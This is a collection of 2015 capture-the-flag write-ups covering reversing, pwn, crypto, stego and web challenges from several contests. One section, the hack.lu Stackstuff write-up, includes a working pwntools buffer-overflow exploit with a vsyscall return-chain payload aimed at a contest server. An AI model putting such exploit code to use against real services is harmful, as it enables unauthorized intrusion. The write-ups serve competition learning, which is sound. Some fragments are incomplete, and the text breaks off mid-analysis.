flag is not</span><span>    RCTF{We1l_d0n3_6ut_wh4t_i5_*key*}</span><span>                     </span><span>               </span><span>                   </span><span>              ROIS</span>The md5(key) is 21582c6c30be1217322cdb9aebaf4a59, but that's not the flag.Let's put it into a text file and use hashcat upon a well-known password dictionary:<span>    hashcat -m 0 -a 0 hash.txt rockyou.txt</span>It gives us md5('that') = 21582c6c30be1217322cdb9aebaf4a59After several submits I've got the right flag:<span>    RCTF{We1l_d0n3_6ut_wh4t_i5_that}</span>
[](ctf=9447-2015)[](type=reversing)[](tags=xor,memcmp)[](tools=gdb-peda,Hopper) # The *real* flag finder (Reversing 70)So we are given an [executable](../flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524). ```bash$ file flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=8c0c9c0d5c39ff0cc1954fa8682288b6169b8fff, stripped``` A quick decompilation. ```c if ( argc == 2 ) { v10 = (unsigned int)n - 1LL; v3 = alloca(16 * (((unsigned __int64)(unsigned int)n + 15) / 0x10)); dest = (char *)&v6; strcpy((char *)&v6, src); v9 = 0; v8 = 0; while ( memcmp(dest, "9447", 4uLL) ) { v4 = v8 % (unsigned int)n; v5 = dest[v8 % (unsigned int)n]; dest[v4] = (unsigned __int64)sub_40060D() ^ v5; ++v8; } if ( !memcmp(dest, *(const void **)(v6 + 8), (unsigned int)n) ) printf("The flag is %s\n", *(_QWORD *)(v6 + 8), v6); else puts("Try again"); result = 0LL; } else { printf("Usage: %s <password>\n", *(_QWORD *)v6, v6); result = 1LL; } return result;``` As it is quite clear all we have to do is to check the last memcmp string to which the given password is compared.We objdump the file and find memcmp in it and check its passed parameters- All in this snippet. ```bashsudhakar@Hack-Machine:~/Desktop/ctf/sep_15/9447-ctf/reversing$ objdump -S ./flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524 | grep memcmp0000000000400500 <memcmp@plt>: 400703: e8 f8 fd ff ff callq 400500 <memcmp@plt> 400729: e8 d2 fd ff ff callq 400500 <memcmp@plt>sudhakar@Hack-Machine:~/Desktop/ctf/sep_15/9447-ctf/reversing$ gdb -q ./flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524 Reading symbols from ./flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524...(no debugging symbols found)...done.gdb-peda$ b *0x400729Breakpoint 1 at 0x400729gdb-peda$ r lolStarting program: /home/sudhakar/Desktop/ctf/sep_15/9447-ctf/reversing/flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524 lolwarning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). [----------------------------------registers-----------------------------------]RAX: 0x7fffffffe0d0 ("9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")RBX: 0x3 RCX: 0x7fffffffe57f --> 0x5f474458006c6f6c ('lol')RDX: 0x46 ('F')RSI: 0x7fffffffe57f --> 0x5f474458006c6f6c ('lol')RDI: 0x7fffffffe0d0 ("9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")RBP: 0x7fffffffe170 --> 0x0 RSP: 0x7fffffffe0d0 ("9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")RIP: 0x400729 (call 0x400500 <memcmp@plt>)R8 : 0x46 ('F')R9 : 0x0 R10: 0x7fffffffde90 --> 0x0 R11: 0x7ffff7b9dc70 --> 0xfffdb3e0fffdb10f R12: 0x7fffffffe120 --> 0x7fffffffe258 --> 0x7fffffffe519 ("/home/sudhakar/Desktop/ctf/sep_15/9447-ctf/reversing/flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524")R13: 0x69 ('i')R14: 0x0 R15: 0x0EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x40071f: mov rax,QWORD PTR [rbp-0x28] 0x400723: mov rsi,rcx 0x400726: mov rdi,rax=> 0x400729: call 0x400500 <memcmp@plt> 0x40072e: test eax,eax 0x400730: jne 0x400751 0x400732: mov rax,QWORD PTR [rbp-0x50] 0x400736: add rax,0x8Guessed arguments:arg[0]: 0x7fffffffe0d0 ("9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")arg[1]: 0x7fffffffe57f --> 0x5f474458006c6f6c ('lol')arg[2]: 0x46 ('F')arg[3]: 0x7fffffffe57f --> 0x5f474458006c6f6c ('lol')[------------------------------------stack-------------------------------------]0000| 0x7fffffffe0d0 ("9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")0008| 0x7fffffffe0d8 ("gr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")0016| 0x7fffffffe0e0 ("1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")0024| 0x7fffffffe0e8 ("_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")0032| 0x7fffffffe0f0 ("0Uv3_solved_the_re4l__H4LT1N6_prObL3M}")0040| 0x7fffffffe0f8 ("ved_the_re4l__H4LT1N6_prObL3M}")0048| 0x7fffffffe100 ("re4l__H4LT1N6_prObL3M}")0056| 0x7fffffffe108 ("LT1N6_prObL3M}")[------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 1, 0x0000000000400729 in ?? ()``` will give us flag > 9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}
[](ctf=hack.lu-2015)[](type=exploiting,pwn)[](tags=buffer-overflow)[](tools=gdb-peda,pwntools)[](techniques=ROP) # Stackstuff (Exploiting 150)We have an [archive](../stackstuff_public_d7f6e7f394f649ba96b3113374a0bfb3.tar.gz).On extracting ```bash$ file *hackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f46fbf9b159f6a1a31893faf7f771ca186a2ce8d, not strippedhackme.c: C source, ASCII text``` We have source of the executable. ```cint check_password_correct(void) { char buf[50] = {0}; puts("To download the flag, you need to specify a password."); printf("Length of password: "); int inlen = 0; if (scanf("%d\n", &inlen) != 1) { // peer probably disconnected? exit(0); } if (inlen <= 0 || inlen > 50) { // bad input length, fix it inlen = 90; } if (fread(buf, 1, inlen, stdin) != inlen) { // peer disconnected, stop exit(0); } return strcmp(buf, real_password) == 0;} void require_auth(void) { while (!check_password_correct()) { puts("bad password, try again"); }} void handle_request(void) { alarm(60); setbuf(stdout, NULL); FILE *realpw_file = fopen("password", "r"); if (realpw_file == NULL || fgets(real_password, sizeof(real_password), realpw_file) == NULL) { fputs("unable to read real_password\n", stderr); exit(0); } fclose(realpw_file); puts("Hi! This is the flag download service."); require_auth(); char flag[50]; //we'll jump to this line in the exploit ;) FILE *flagfile = fopen("flag", "r"); if (flagfile == NULL || fgets(flag, sizeof(flag), flagfile) == NULL) { fputs("unable to read flag\n", stderr); exit(0); } puts(flag);} ```We can see that it is basic buffer overflow in check_password_correct as it allows an input of length 90 in a buffer of 50.So we load the executable in gdb.```bashgdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : ENABLEDRELRO : disabled```NX is enabled means stack is not executable.PIE means position independent executable, This means that the binary instructions itself is loaded arbitrarily in the memory.So we can't have shellcode and normal ROP over the binary. However we have an attack vector where we can fool the service to jump to the part where it displays the flag. But we need to have knowledge of the eip or some instruction address in memory. So lets find the offset of EIP overwrite and search for some attack vectors.Use pattern_create and pattern_offset to find that the offset is 72. So payload:> 'A'*72+ret_addr Lets test in gdb. For PIE enabled executables gdb uses a fixed address to load them which can be found out by running and stopping it in gdb using 'info files' ```bash$ nc 127.0.0.1 1514 -vvlocalhost [127.0.0.1] 1514 (?) openHi! This is the flag download service.To download the flag, you need to specify a password.Length of password: 99AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBB```gives us ```bashgdb-peda$ b *0x555555554fb9Breakpoint 1 at 0x555555554fb9gdb-peda$ r...[Switching to process 2398][----------------------------------registers-----------------------------------]RAX: 0x0 RBX: 0x0 RCX: 0xa ('\n')RDX: 0x73 ('s')RSI: 0x555555755a20 ("sudhackar\n")RDI: 0x7fffffffe0d0 ('A' <repeats 72 times>, 'B' <repeats 18 times>, "UUUU")RBP: 0x0 RSP: 0x7fffffffe118 ('B' <repeats 18 times>, "UUUU")RIP: 0x555555554fb9 (<check_password_correct+231>: ret)R8 : 0x1000 R9 : 0x4141414141414141 ('AAAAAAAA')R10: 0x4141414141414141 ('AAAAAAAA')R11: 0x246 R12: 0x555555554d70 (<_start>: xor ebp,ebp)R13: 0x7fffffffe2c0 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x555555554faf <check_password_correct+221>: sete al 0x555555554fb2 <check_password_correct+224>: movzx eax,al 0x555555554fb5 <check_password_correct+227>: add rsp,0x58=> 0x555555554fb9 <check_password_correct+231>: ret 0x555555554fba <require_auth>: sub rsp,0x8 0x555555554fbe <require_auth+4>: jmp 0x555555554fcc <require_auth+18> 0x555555554fc0 <require_auth+6>: lea rdi,[rip+0x420] # 0x5555555553e7 0x555555554fc7 <require_auth+13>: call 0x555555554bc0 <puts@plt>[------------------------------------stack-------------------------------------]0000| 0x7fffffffe118 ('B' <repeats 18 times>, "UUUU")0008| 0x7fffffffe120 ("BBBBBBBBBBUUUU")0016| 0x7fffffffe128 --> 0x555555554242 ('BBUUUU')0024| 0x7fffffffe130 --> 0x555555554d70 (<_start>: xor ebp,ebp)0032| 0x7fffffffe138 --> 0x7ffff7df0325 (<_dl_runtime_resolve+53>: mov r11,rax)0040| 0x7fffffffe140 --> 0x7fffffffe57f --> 0x5800636578656572 ('reexec')0048| 0x7fffffffe148 --> 0x0 0056| 0x7fffffffe150 --> 0x7fffffffe2d8 --> 0x7fffffffe586 ("XDG_VTNR=7")[------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 1, 0x0000555555554fb9 in check_password_correct ()``` So we have EIP overwrite here. But we can't figure out the ret_addr. However If we notice the stack frame here on ret instruction above.We see ```0016| 0x7fffffffe128 --> 0x555555554242 ('BBUUUU')```We control the last two bytes of an address which matches with our randomised EIP. So now we have to use this address some how to return to this location. We can use the linux vsyscall function as its location is always fixed for a binary.The vsyscalls are part of the kernel, but the kernel pages containing them are executable with userspace privileges. And they’re mapped to fixed addresses in the virtual memory Now we'll look for potential ROP chains. ```bashgdb-peda$ x/5xi 0xffffffffff600400 0xffffffffff600400: mov rax,0xc9 0xffffffffff600407: syscall 0xffffffffff600409: ret 0xffffffffff60040a: int3 0xffffffffff60040b: int3```Yea, ret is all we need,twice!So now payload format : >'A'*72+p64(0xffffffffff600400)+p64(0xffffffffff600400)+last two bytes of our jmp address. [Here](stackstuff.py) is an exploit that does the same.```pythonfrom pwn import *#s=remote('127.0.0.1',1514)#0x000055555555508b#0xffffffffff600400s=remote('school.fluxfingers.net',1514)addr=p64(0xffffffffff600400)payload='A'*72+addr*2+"\x8b\x10"print repr(payload)print s.recv(100,timeout=1)print s.recv(100,timeout=1)print s.recv(100,timeout=1)print s.recv(100,timeout=1)s.send('100\n')print s.recvline(timeout=1)print s.recvline(timeout=1)s.send(payload+'\n')for _ in range(10): try: print s.recv(100,timeout=1) except: print "Done?" break```Afer a few tries ```bash$ python stackstuff_public_d7f6e7f394f649ba96b3113374a0bfb3/try.py [+] Opening connection to school.fluxfingers.net on port 1514: Done'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x04`\xff\xff\xff\xff\xff\x00\x04`\xff\xff\xff\xff\xff\x8b\x10'Hi! This is the flag download service. To download the flag, you need to specify a password.Length of password: flag{MoRE_REtuRnY_tHAn_rop} Done?[*] Closed connection to school.fluxfingers.net port 1514``` Flag: > flag{MoRE_REtuRnY_tHAn_rop}
##sanutf8y_check (web, 1p) ###PL[ENG](#eng-version) Po wejściu na stronę ukazuje nam się: ![](sanutf8y_check.png) Nie możemy skopiować tego tekstu ze strony ponieważ są to jedynie dziwne unicodowe znaki wyglądające jak litery. Musimy więc przepisać flagę: 9447{ThiS_iS_what_A_flAg_Looks_LIke} ### ENG version When we enter given website we see: ![](sanutf8y_check.png) We can't simply copy this text from webpage since those are strange unicode symbols resembling ascii characters. We need to type down the flag: 9447{ThiS_iS_what_A_flAg_Looks_LIke}
##Steganography 3 (Stegano, 100p) ```We can get desktop capture!Read the secret message.``` ###PL[ENG](#eng-version) Dostajemy obraz: ![](desktop_capture.png) Na podstawie którego chcemy uzyskać flagę. Pierwszym krokiem jest odtworzenie binarki otwartej w hexedytorze. Zrobiliśmy to za pomocą OCRa a następnie ręcznego poprawiania błędów. Wynikiem jest program [elf](elf.bin).Uruchomienie go daje w wyniku wiadomość `Flood fill` zakodowaną jako base64. Po pewnym czasie wpadliśmy wreszcie na rozwiązanie, które polegało na użyciu "wypłeniania kolorem" na początkowym obrazie: ![](floodfill.png) co daje nam flage: `SECCON{the_hidden_message_ever}` ### ENG version We get a picture: ![](desktop_capture.png) And we want to get a flag based on this. First step is to recreate the binary open in hexeditor. We used OCR and then fixed defects by hand. This way we got [elf binary](elf.bin).Running it give a message `Flood fill` encoded as base64. After a while we finally figured the solution, which was to use "flood fill" on the initial picture: ![](floodfill.png) which gives us a flag: `SECCON{the_hidden_message_ever}`
##Last Challenge (Thank you for playing) (Misc/Crypto, 50p) ```ex1Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEOPlain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ex2Cipher:EV}ZZD{DWZRA}FFDNFGQOPlain: {HELLOWORLDSECCONCTF} quizCipher:A}FFDNEA}}HDJN}LGH}PWOPlain: ??????????????????????``` ###PL[ENG](#eng-version) Dostajemy do rozwiązania prost szyfr podstawieniowy. Na podsatwie pierwszej pary plaintext-ciphertext generujemy mapę podstawień a następnie dekodujemy flagę: ```pythondata1 = "PXFR}QIVTMSZCNDKUWAGJB{LHYEO"res1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"sub = dict(zip(data1, res1))print("".join([sub[letter] for letter in "A}FFDNEA}}HDJN}LGH}PWO"]))``` `SECCON{SEEYOUNEXTYEAR}` ### ENG version We get a very simple substitution cipher to solve. Using the first plaintext-ciphertext pair we genrate a substitution map and the we decode the flag: ```pythondata1 = "PXFR}QIVTMSZCNDKUWAGJB{LHYEO"res1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"sub = dict(zip(data1, res1))print("".join([sub[letter] for letter in "A}FFDNEA}}HDJN}LGH}PWO"]))``` `SECCON{SEEYOUNEXTYEAR}`
$cat cip_d0283b2c5b4b87423e350f8640a0001e | base64 --decodeWhich shows python one liner.After doing google I found file and try to compare.But I didn't get the flag
##Connect the server (Web/Network, 100p) ```login.pwn.seccon.jp:10000``` ###PL[ENG](#eng-version) Po połączeniu się z serwerem za pomocą nc dostajemy: ![](conection.png) Wpisanie dowolnego loginu także nie daje żadnych efektów. Próbowaliśmy podejść do tego zadania z różnych stron, bez efektów. W końcu uznaliśmy, że skoro zadanie wspomina o wolnym połączeniu to może spróbujemy ataku czasowego albo próby wyczerpania wątków serwera. Jednak w trakcie pisania skryptu zauważyliśmy dość dziwny wynik: ```b'CONNECT 300\r\n\r\nWelcome to SECCON server.\r\n\r\nThe server is connected via slow dial-up connection.\r\nPlease be patient, and do not brute-force.\r\nS\x08 \x08E\x08 \x08C\x08 \x08C\x08 \x08O\x08 \x08N\x08 \x08{\x08 \x08S\x08 \x08o\x08 \x08m\x08 \x08e\x08 \x08t\x08 \x08i\x08 \x08m\x08 \x08e\x08 \x08s\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08s\x08 \x08e\x08 \x08e\x08 \x08_\x08 \x08i\x08 \x08s\x08 \x08_\x08 \x08N\x08 \x08O\x08 \x08T\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08g\x08 \x08e\x08 \x08t\x08 \x08}\x08 \x08\r\nlogin: '``` Naszą uwagę zwróciły niepiśmienne znaki o numerze ascii 8, czyli backspace. Otóż serwer wypisywał flagę, ale było to niewidoczne w konsoli. `SECCON{Sometimes_what_you_see_is_NOT_what_you_get}` ### ENG version After connecting with nc we get: ![](conection.png) Using any login doesn't help us moving forward with the task. We tried different approaches but to no avail. Finally we decided that, since the task mentions and weak slow connection, we could try a timing attack or try to exhaust server threads. However, while writing a script we noticed a strange data coming from server: ```b'CONNECT 300\r\n\r\nWelcome to SECCON server.\r\n\r\nThe server is connected via slow dial-up connection.\r\nPlease be patient, and do not brute-force.\r\nS\x08 \x08E\x08 \x08C\x08 \x08C\x08 \x08O\x08 \x08N\x08 \x08{\x08 \x08S\x08 \x08o\x08 \x08m\x08 \x08e\x08 \x08t\x08 \x08i\x08 \x08m\x08 \x08e\x08 \x08s\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08s\x08 \x08e\x08 \x08e\x08 \x08_\x08 \x08i\x08 \x08s\x08 \x08_\x08 \x08N\x08 \x08O\x08 \x08T\x08 \x08_\x08 \x08w\x08 \x08h\x08 \x08a\x08 \x08t\x08 \x08_\x08 \x08y\x08 \x08o\x08 \x08u\x08 \x08_\x08 \x08g\x08 \x08e\x08 \x08t\x08 \x08}\x08 \x08\r\nlogin: '``` We focused on the acii characters number 8 - backspace. The server was printing a flag but we simply didn't see that in the console. `SECCON{Sometimes_what_you_see_is_NOT_what_you_get}`
Bricks of Gold Crypto - 500 We've captured this encrypted file being smuggled into the country. All we know is that they rolled their own custom CBC mode algorithm - its probably terrible.HINT: take a second look at the file for elements needed for the crypto So, all you know about the file is that's it's encrypted with some kind of CBC algorithm, and that it's annoyingly large. Basically the way that a CBC algorithm works for encryption is the plaintext is broken up in to blocks, and encryption/decrpytion is handled on a block-by-block basis. The first block is XOR-d with an Initialization Vector(IV), and is then put through another (unknown in our case) encryption method, along with a key (also unknown in our case). The result is the first block of ciphertext.This process is applied for all other blocks of plaintext, except instead of xor-ing with the IV, the most recently calculated block of ciphertext is used instead. Finally, all these blocks are thrown together to create the glorious monstrosity of ciphertext we were given. Decryption is basically the exact same thing, but reversed: https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/CBC_decryption.svg/601px-CBC_decryption.svg.png Looking at this (pre-hint), there was no clear indication for what the IV was, until I ran strings on it and "THE_SECRET_IV=CASH" was thrown at my face.Okay, now we have the IV, but not the encryption method or key. They said the algorithm is probably terrible, and it's obviously reversible, so I assumed XOR. The final step to complete decryption was finding the key. Asking around, I gathered that, when decrypted, it was a valid file; so therefore it has to have a valid header! Knowing key length == IV length, I went to checking keys to find matching headers to some more popular filetypes: ```pythonIV = "43 41 53 48".split(" ")ctxt = "24 58 4D 54".split(" ")head = "ff d8 ff e0".split(" ") #jpeg = ff d8 ff e0#png = 89 50 4e 47 def toByte(i): return hex(i)[2:] for i in xrange(0,4): print toByte((int(ctxt[i], 16) ^ int(head[i], 16)) ^ int(IV[i], 16)).decode('hex')``` Then, each of the keys that resulted in a valid header were saved to a file which was then processed by: ```pythonimport itertools, string, thread, magicimport os def xor(s1, s2): out = "" if len(s1) == len(s2): out = ''.join(chr(ord(c)^ord(k)) for c,k in izip(s1, cycle(s2))) else: out = ''.join(chr(ord(c)^ord(k)) for c,k in izip(s1, cycle("\x00"+s2))) print "Different length strings" return out import collections, operatorfrom itertools import cycle, izipf = open("crypto500", "rb")data = f.read()f.close() def dec(s, key): s = s.encode('hex') out = hex(int(s, 16) ^ int(key.encode('hex'),16))[2:] if not len(out)%2 == 0: out = "0" + out return out.decode('hex') blocksize = 4 #4 bytes, 32 bit blocksize hopeful = "" def decrypt(key): tempplain = [] cipher = [] counter = 0 working = "" apptemp = tempplain.append appcip = cipher.append appcip(data[0:blocksize]) working = data[0:blocksize] working = xor(working, key) tempplain.append(xor("CASH", working)) for j in xrange(blocksize,len(data)-blocksize, blocksize): appcip(data[j:j+blocksize]) working = data[j:j+blocksize] working = xor(data[j:j+blocksize], key) working = xor(cipher[counter], working) apptemp(working) counter = counter + 1 f = open("out/try"+str(key), "wb") print len(''.join(tempplain)) f.write(''.join(tempplain)) f.close() import sys decrypt(sys.argv[1]) ``` This is where I got stuck. I could make the header anything I wanted with a given key, but I needed to guess the right file type.I ended up barely missing out on the submission time with my working guess: PDF.Using the PDF header, we got a key: BIZZand, upon decrypting with that key, we get a PDF containing: ![flag](flag.png)
## SECCON: Decrypt it ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | Decrypt it | Crypto | 300 | *Description*>$ ./cryptooo SECCON{*************************} >Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw= >what's the key? ----------## Write-up If we do something like: >```>./cryptooo SECCON\{>Encrypted(12): waUqjjDGnQ==>``` We can see that we already have the "waUqjjDGn" part right, this means we should be able to slowly extend the flag until we reach the encrypted flag. I used bash commands like >```>reset; for i in SECCON\{{{A..z},{0..9}}; do echo $i; ./cryptooo $i; done>``` in the beginning to slowly increase the message, however a pattern becomes appearant pretty fast and you can just check if the expected letters fit in, there is just one stray 1 in there. After a while the flag is found: >```>$ for i in SECCON\{Cry_Pto_Oo_Oo1Oo_oo_Oo_{O,o,0}\}; do echo $i; ./cryptooo $i; done>SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}>Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=>SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_o}>Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCMj8=>SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_0}>Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCbUM=>``` Making the flag: >```>SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}>```
## SECCON: exec dmesg ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | exec dmesg | binary | 300 | *Description*> Please find secret message from the iso linux image. ----------## Write-up We find the core-current.iso file in the zip file. And load it up in virtualbox. If you try to immediately execute 'dmesg' you get an error: >```>tc@box:~$ dmesg>dmesg: applet not found>``` Tiny core linux uses tce to install software, to find where the dmesg package is located we can use tce-ab: >```>tce-ab>P)rovides>dmesg>util-linux.tcz>``` We can install this package like: >```>tce-load -iw util-linux>``` The dmesg binary is now in /usr/local/bin/ The following command gets us the flag: >```>/usr/local/bin/dmesg | grep -i seccon>``` The flag is: >```>SECCON{elf32-i386}>```
##Find the prime numbers (Crypto, 200p) ###PL[ENG](#eng-version) Dostajemy [kod](paillier.txt) skryptu pracującego na serwerze. Skrypt szyfruje pewną wiadomość za pomocą szyfru Pailliera a następnie podaje nam zaszyfrowaną wiadomość oraz kilka innych parametrów. Naszym zadaniem jest złamać szyfr.Szyfr jest lekko zbliżony do szyfrowania metodą RSA i jego łamanie przebiega w dość podobny sposób. Pierwszym krokiem do złamania szyfru jest uzyskanie informacji o liczbie `n` która jest podstawą dla operacji reszty z dzielenia podczas szyfrowania. Wykorzystujemy tutaj informacje przychodzące z serwera: ```python while 1: x = pow(random.randint(1000000000, 9999999999), n, (n * n)) o = (pow(n + 1, 1, n * n) * x) % (n * n) y = (((pow(o, l, n * n) - 1) // n) * d) % n if y == 1: break c = (pow(n + 1, int(v["num"]), n * n) * x) % (n * n) h = (c * o) % (n * n) q = "%019d + %019d = %019d" % (c, o, h) print q``` Jak widać serwer za każdym razem wypisuje nam 3 liczby, z których każda jest resztą z dzielenia przez `n^2`. Dzięki temu możemy szybko ustalić pewne dolne ograniczenie dla liczby `n`, ponieważ liczba `n^2` nie może być większa niż największa z liczb którą dostaniemy z serwera. Dodatkowo wiemy, że `h = (c * o) % (n * n)` więc możemy wykorzystać tą zależność do testowania czy aktualnie testowane `n` jest szukaną liczbą. Operacje pozyskiwania liczby `n` przeprowadzamy skryptem: ```pythonlower_bound = 0bound_lock = threading.Lock() def seed_collector(): global bound_lock global lower_bound while True: url = "http://pailler.quals.seccon.jp/cgi-bin/pq.cgi" data = str(requests.get(url).content) c, o, h = map(int, re.findall("\d+", data)) potential_n = int(math.sqrt(max([c, o, h]))) bound_lock.acquire() if potential_n > lower_bound: lower_bound = potential_n print("new lower bound " + str(lower_bound)) bound_lock.release() print(c, o, h) sleep(3) def bruter(): global lower_bound global bound_lock bound = 1 while True: bound_lock.acquire() current = max([bound, lower_bound]) lower_bound = current if valid_n(lower_bound): print("n=" + str(lower_bound)) return else: lower_bound += 1 bound_lock.release()``` Skrypt opiera się na dwóch wątkach. Pierwszy odpytuje serwer o kolejne trójki liczb i szuka największego dolnego ograniczenia dla liczby `n`. Drugi iteruje po kolejnych możliwych liczbach `n` i na podstawie jednego z równań pozyskanych z serwera sprawdza czy jest poprawna.W ten sposób uzyskujemy `n = 2510510339` które faktoryzujemy do `p = 42727` i `q = 58757`. Dysponując tymi wartościami możemy przejść bezpośrednio do dekodowania wiadomości. Zgodnie z opisem na wikipedii wyliczamy parametry `lambda` oraz `mi` i za ich pomocą dekodujemy wiadomość: ```pythonlbd = 1255204428 # lcm(p-1, q-1)g = n + 1x = L(pow(g, lbd, n * n), n)mi = int(modinv(n, x))c = 2662407698910651121 # example ciphertext from serverm = L(pow(c, lbd, n * n), n) * pow(mi, 1, n)print(m % n)``` Co daje nam: `1510490612` a umieszczenie tej liczby na serwerze daje flagę: `SECCON{SECCoooo_oooOooo_ooooooooN}` Kompletny użyty skrypt znajduje sie [tutaj](crypto_paillier.py) ### ENG version We get the [source code](paillier.txt) of a script that is used on the server. The cipher encodes a certain message using Paillier cipher and the returns to us the encoded message and some parameters. Our task is to break the code.The cipher is a bit like RSA and the approach to break it is very similar. First step is to get the `n` number which is the basis for all modulo operations in the cipher. For this we use data we get from server: ```python while 1: x = pow(random.randint(1000000000, 9999999999), n, (n * n)) o = (pow(n + 1, 1, n * n) * x) % (n * n) y = (((pow(o, l, n * n) - 1) // n) * d) % n if y == 1: break c = (pow(n + 1, int(v["num"]), n * n) * x) % (n * n) h = (c * o) % (n * n) q = "%019d + %019d = %019d" % (c, o, h) print q``` As can be seen, the server prints 3 numbers, each one is a reminder after division by `n^2`. This means we can quickly make a lower bound for `n` since `n^2` can't be bigger than the biggest number we get from server. On top of that we know that: `h = (c * o) % (n * n)` so we can use this equation to quickly test if the `n` we are testing is the number we are looking for. Recovery of `n` is done with script: ```pythonlower_bound = 0bound_lock = threading.Lock() def seed_collector(): global bound_lock global lower_bound while True: url = "http://pailler.quals.seccon.jp/cgi-bin/pq.cgi" data = str(requests.get(url).content) c, o, h = map(int, re.findall("\d+", data)) potential_n = int(math.sqrt(max([c, o, h]))) bound_lock.acquire() if potential_n > lower_bound: lower_bound = potential_n print("new lower bound " + str(lower_bound)) bound_lock.release() print(c, o, h) sleep(3) def bruter(): global lower_bound global bound_lock bound = 1 while True: bound_lock.acquire() current = max([bound, lower_bound]) lower_bound = current if valid_n(lower_bound): print("n=" + str(lower_bound)) return else: lower_bound += 1 bound_lock.release()``` The script uses two threads. First one queries the server for triplets and looks for bigger lower bound for `n`.The second iterates over possible `n` and using one of the equations from the server it is checking if the currently tested value is the real `n`.This way almost instantly we get `n = 2510510339` which we factor into `p = 42727` and `q = 58757`.With those two values we can recover the private key and start decoding the cipher. We follow the decription on wikipedia to calculate the `lambda` and `mi` parameters and we use them to decode the message: ```pythonlbd = 1255204428 # lcm(p-1, q-1)g = n + 1x = L(pow(g, lbd, n * n), n)mi = int(modinv(n, x))c = 2662407698910651121 # example ciphertext from serverm = L(pow(c, lbd, n * n), n) * pow(mi, 1, n)print(m % n)``` Which gives us: `1510490612` and placing this number on the server gives the flag: `SECCON{SECCoooo_oooOooo_ooooooooN}` Whole script is available [here](crypto_paillier.py)
# Trend Micro CTF 2015: Analysis - Defensive 300 ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | Analysis - Defensive 300 | Reversing | 300 | **Description:**>*Category: Analysis-defensive*>>*Points: 300*>>*This is a REAL backdoor network traffic!*>>*Tracing hacker's footprint to find the key!*>>*Hint:*>>*Poison Ivy / admin*>>*Zip Password: trace_hacker* ----------## Write-up We are given an [archive](challenge/net.zip) which contains a PCAP file with traffic from the [Poison Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) backdoor. Poison Ivy encrypts its traffic using the [Camellia](https://en.wikipedia.org/wiki/Camellia_(cipher)) block cipher (in a very [flawed manner](samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/)) and deriving the encryption key directly from an attacker-supplied password (by padding it with null bytes). The default password for 